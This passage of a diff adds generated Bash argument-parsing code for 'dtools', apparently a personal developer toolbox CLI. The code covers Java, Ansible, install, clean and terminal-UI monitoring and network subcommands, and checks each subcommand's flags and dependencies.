+ ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_java_set_version_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_java_set_version_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="java set-version" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['version']+x} ]]; then + args['version']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['version']+x} ]]; then + printf "missing required argument: VERSION\nusage: dtools java set-version VERSION\n" >&2 + + exit 1 + fi + + # :command.whitelist_filter + if [[ -n ${args['version']:-} ]] && [[ ! ${args['version']:-} =~ ^(8|11|17|21)$ ]]; then + printf "%s\n" "version must be one of: 8, 11, 17, 21" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_java_analyze_with_sonar_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_java_analyze_with_sonar_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="java analyze-with-sonar" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --sonar-url | -u) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--sonar-url']="$2" + shift + shift + else + printf "%s\n" "--sonar-url requires an argument: --sonar-url, -u SONAR_URL" >&2 + exit 1 + fi + ;; + + # :flag.case + --sonar-login | -l) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--sonar-login']="$2" + shift + shift + else + printf "%s\n" "--sonar-login requires an argument: --sonar-login, -l SONAR_LOGIN" >&2 + exit 1 + fi + ;; + + # :flag.case + --sonar-project-key | -k) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--sonar-project-key']="$2" + shift + shift + else + printf "%s\n" "--sonar-project-key requires an argument: --sonar-project-key, -k SONAR_PROJECT_KEY" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--sonar-url']+x} ]]; then + printf "missing required flag: --sonar-url, -u SONAR_URL\n" >&2 + exit 1 + fi + if [[ -z ${args['--sonar-login']+x} ]]; then + printf "missing required flag: --sonar-login, -l SONAR_LOGIN\n" >&2 + exit 1 + fi + if [[ -z ${args['--sonar-project-key']+x} ]]; then + printf "missing required flag: --sonar-project-key, -k SONAR_PROJECT_KEY\n" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_maven_or_gradle_installed) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_ansible_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ansible_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ansible >/dev/null 2>&1; then + printf "missing dependency: ansible\n" >&2 + printf "%s\n\n" "Install with 'dtools install ansible'" >&2 + missing_deps=1 + else + deps['ansible']="$(command -v ansible | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + encrypt-string) + action="encrypt-string" + shift + dtools_ansible_encrypt_string_parse_requirements "$@" + shift $# + ;; + + decrypt-variable) + action="decrypt-variable" + shift + dtools_ansible_decrypt_variable_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_ansible_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_ansible_encrypt_string_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ansible_encrypt_string_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="ansible encrypt-string" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --copy-output-to-clipboard | -c) + + # :flag.case_no_arg + args['--copy-output-to-clipboard']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_ansible_decrypt_variable_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_ansible_decrypt_variable_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="ansible decrypt-variable" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --variable | -v) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--variable']="$2" + shift + shift + else + printf "%s\n" "--variable requires an argument: --variable, -v VARIABLE" >&2 + exit 1 + fi + ;; + + # :flag.case + --file | -f) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--file']="$2" + shift + shift + else + printf "%s\n" "--file requires an argument: --file, -f FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--variable']+x} ]]; then + printf "missing required flag: --variable, -v VARIABLE\n" >&2 + exit 1 + fi + if [[ -z ${args['--file']+x} ]]; then + printf "missing required flag: --file, -f FILE\n" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_install_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_install_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + docker) + action="docker" + shift + dtools_install_docker_parse_requirements "$@" + shift $# + ;; + + ansible) + action="ansible" + shift + dtools_install_ansible_parse_requirements "$@" + shift $# + ;; + + java) + action="java" + shift + dtools_install_java_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_install_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_install_docker_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_install_docker_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="install docker" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_debian_based_os) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_install_ansible_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_install_ansible_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="install ansible" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_install_java_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_install_java_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="install java" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_debian_based_os) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_clean_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_clean_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + bleachbit) + action="bleachbit" + shift + dtools_clean_bleachbit_parse_requirements "$@" + shift $# + ;; + + docker) + action="docker" + shift + dtools_clean_docker_parse_requirements "$@" + shift $# + ;; + + package-caches) + action="package-caches" + shift + dtools_clean_package_caches_parse_requirements "$@" + shift $# + ;; + + logs) + action="logs" + shift + dtools_clean_logs_parse_requirements "$@" + shift $# + ;; + + build-caches) + action="build-caches" + shift + dtools_clean_build_caches_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_clean_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_clean_bleachbit_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_clean_bleachbit_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v bleachbit >/dev/null 2>&1; then + printf "missing dependency: bleachbit\n" >&2 + printf "%s\n\n" "Install from 'https://www.bleachbit.org/download'" >&2 + missing_deps=1 + else + deps['bleachbit']="$(command -v bleachbit | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="clean bleachbit" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_clean_docker_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_clean_docker_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v docker >/dev/null 2>&1; then + printf "missing dependency: docker\n" >&2 + printf "%s\n\n" "Install with 'dtools install docker'" >&2 + missing_deps=1 + else + deps['docker']="$(command -v docker | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="clean docker" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_clean_package_caches_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_clean_package_caches_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="clean package-caches" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.user_filter + filter_error=$(filter_debian_based_os) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_clean_logs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_clean_logs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="clean logs" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_clean_build_caches_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_clean_build_caches_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="clean build-caches" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['code-directory']+x} ]]; then + args['code-directory']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['code-directory']+x} ]]; then + printf "missing required argument: CODE-DIRECTORY\nusage: dtools clean build-caches CODE-DIRECTORY\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_tui_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + monitoring) + action="monitoring" + shift + dtools_tui_monitoring_parse_requirements "$@" + shift $# + ;; + + network-monitoring) + action="network-monitoring" + shift + dtools_tui_network_monitoring_parse_requirements "$@" + shift $# + ;; + + network) + action="network" + shift + dtools_tui_network_parse_requirements "$@" + shift $# + ;; + + docker) + action="docker" + shift + dtools_tui_docker_parse_requirements "$@" + shift $# + ;; + + development) + action="development" + shift + dtools_tui_development_parse_requirements "$@" + shift $# + ;; + + dev-help) + action="dev-help" + shift + dtools_tui_dev_help_parse_requirements "$@" + shift $# + ;; + + data) + action="data" + shift + dtools_tui_data_parse_requirements "$@" + shift $# + ;; + + misc) + action="misc" + shift + dtools_tui_misc_parse_requirements "$@" + shift $# + ;; + + sandbox) + action="sandbox" + shift + dtools_tui_sandbox_parse_requirements "$@" + shift $# + ;; + + ai) + action="ai" + shift + dtools_tui_ai_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_monitoring_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_monitoring_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + system-monitor) + action="system-monitor" + shift + dtools_tui_monitoring_system_monitor_parse_requirements "$@" + shift $# + ;; + + pihole-monitor) + action="pihole-monitor" + shift + dtools_tui_monitoring_pihole_monitor_parse_requirements "$@" + shift $# + ;; + + kernel-monitor) + action="kernel-monitor" + shift + dtools_tui_monitoring_kernel_monitor_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_monitoring_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_monitoring_system_monitor_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_monitoring_system_monitor_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v btop >/dev/null 2>&1; then + printf "missing dependency: btop\n" >&2 + printf "%s\n\n" "See 'https://github.com/aristocratos/btop'" >&2 + missing_deps=1 + else + deps['btop']="$(command -v btop | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui monitoring system-monitor" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_monitoring_pihole_monitor_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_monitoring_pihole_monitor_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v pimon >/dev/null 2>&1; then + printf "missing dependency: pimon\n" >&2 + printf "%s\n\n" "See 'https://github.com/Scratchcat1/pimon'" >&2 + missing_deps=1 + else + deps['pimon']="$(command -v pimon | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui monitoring pihole-monitor" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_monitoring_kernel_monitor_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_monitoring_kernel_monitor_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v kmon >/dev/null 2>&1; then + printf "missing dependency: kmon\n" >&2 + printf "%s\n\n" "See 'https://github.com/orhun/kmon'" >&2 + missing_deps=1 + else + deps['kmon']="$(command -v kmon | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui monitoring kernel-monitor" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_monitoring_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_monitoring_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + wavemon) + action="wavemon" + shift + dtools_tui_network_monitoring_wavemon_parse_requirements "$@" + shift $# + ;; + + network-diags) + action="network-diags" + shift + dtools_tui_network_monitoring_network_diags_parse_requirements "$@" + shift $# + ;; + + ip-traffic) + action="ip-traffic" + shift + dtools_tui_network_monitoring_ip_traffic_parse_requirements "$@" + shift $# + ;; + + socket-stats) + action="socket-stats" + shift + dtools_tui_network_monitoring_socket_stats_parse_requirements "$@" + shift $# + ;; + + netscanner) + action="netscanner" + shift + dtools_tui_network_monitoring_netscanner_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_tui_network_monitoring_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_monitoring_wavemon_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_monitoring_wavemon_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v wavemon >/dev/null 2>&1; then + printf "missing dependency: wavemon\n" >&2 + printf "%s\n\n" "See 'https://github.com/uoaerg/wavemon'" >&2 + missing_deps=1 + else + deps['wavemon']="$(command -v wavemon | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network-monitoring wavemon" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_monitoring_network_diags_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_monitoring_network_diags_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v trippy >/dev/null 2>&1; then + printf "missing dependency: trippy\n" >&2 + printf "%s\n\n" "See 'https://github.com/fujiapple852/trippy'" >&2 + missing_deps=1 + else + deps['trippy']="$(command -v trippy | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network-monitoring network-diags" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_monitoring_ip_traffic_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_monitoring_ip_traffic_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v iptraf >/dev/null 2>&1; then + printf "missing dependency: iptraf\n" >&2 + printf "%s\n\n" "See 'http://iptraf.seul.org/'" >&2 + missing_deps=1 + else + deps['iptraf']="$(command -v iptraf | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network-monitoring ip-traffic" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_monitoring_socket_stats_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_monitoring_socket_stats_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v neoss >/dev/null 2>&1; then + printf "missing dependency: neoss\n" >&2 + printf "%s\n\n" "See 'https://github.com/PabloLec/neoss'" >&2 + missing_deps=1 + else + deps['neoss']="$(command -v neoss | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network-monitoring socket-stats" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_monitoring_netscanner_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_monitoring_netscanner_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v netscanner >/dev/null 2>&1; then + printf "missing dependency: netscanner\n" >&2 + printf "%s\n\n" "See 'https://github.com/Chleba/netscanner'" >&2 + missing_deps=1 + else + deps['netscanner']="$(command -v netscanner | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="tui network-monitoring netscanner" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_tui_network_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_tui_network_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + network-manager) + action="network-manager" + shift + dtools_tui_network_network_manager_parse_requirements "$@" + shift $# + ;; + + bluetooth-manager) + action="bluetooth-manager" + shift + dtools_tui_network_bluetooth_manager_parse_requirements "$@" + shift $# + ;; + + wireguard-config) + action="wireguard-config" + shift + dtools_tui_network_wireguard_config_parse_requirements "$@" + shift $# + ;; + + mitm-proxy) + action="mitm-proxy" + shift + dtools_tui_network_mitm_proxy_parse_requirements "$@" + shift $# + ;; + + proxy) + action="proxy" + shift + dtools_tui_network_proxy_parse_requirements "$@" + shift $# + ;; + + proxymock) + action="proxymock" + shift + dtools_tui_network_proxymock_parse_requirements "$@" + shift $# + ;; + + http-load-generator) + action="http-load-generator" + shift + dtools_tui_network_http_load_generator_parse_requirements "$@" + shift $# + ;; + + ping) + action="ping" + shift + dtools_tui_network_ping_parse_requirements "$@" + shift $# + ;; + + full-browser) + action="full-browser" + shift + dtools_tui_network_full_browser_parse_requirements "$@" + shift $# + ;; + + elinks) + action="elinks" + shift + dtools_tui_network_elinks_parse_requirements "$@" + shift $# + ;; + + w3m) + action="w3m" + shift + dtools_tui_network_w3m_parse_requirements "$@" + shift $# + ;; + + lynx) + action="lynx" + shift + dtools_tui_network_lynx_parse_requirements "$@" + shift $# + ;; + + carbonyl) + action="carbonyl" + shift + dtools_tui_network_carbonyl_parse_requirements "$@" + shift $# + ;; + + http-request-client) + action="http-request-client" + shift + dtools_tui_network_http_request_client_parse_requirements "$@" + shift $# + ;; + + http-request-client-2) + action="http-request-client-2" + shift + dtools_tui_network_http_request_client_2_parse_requirements 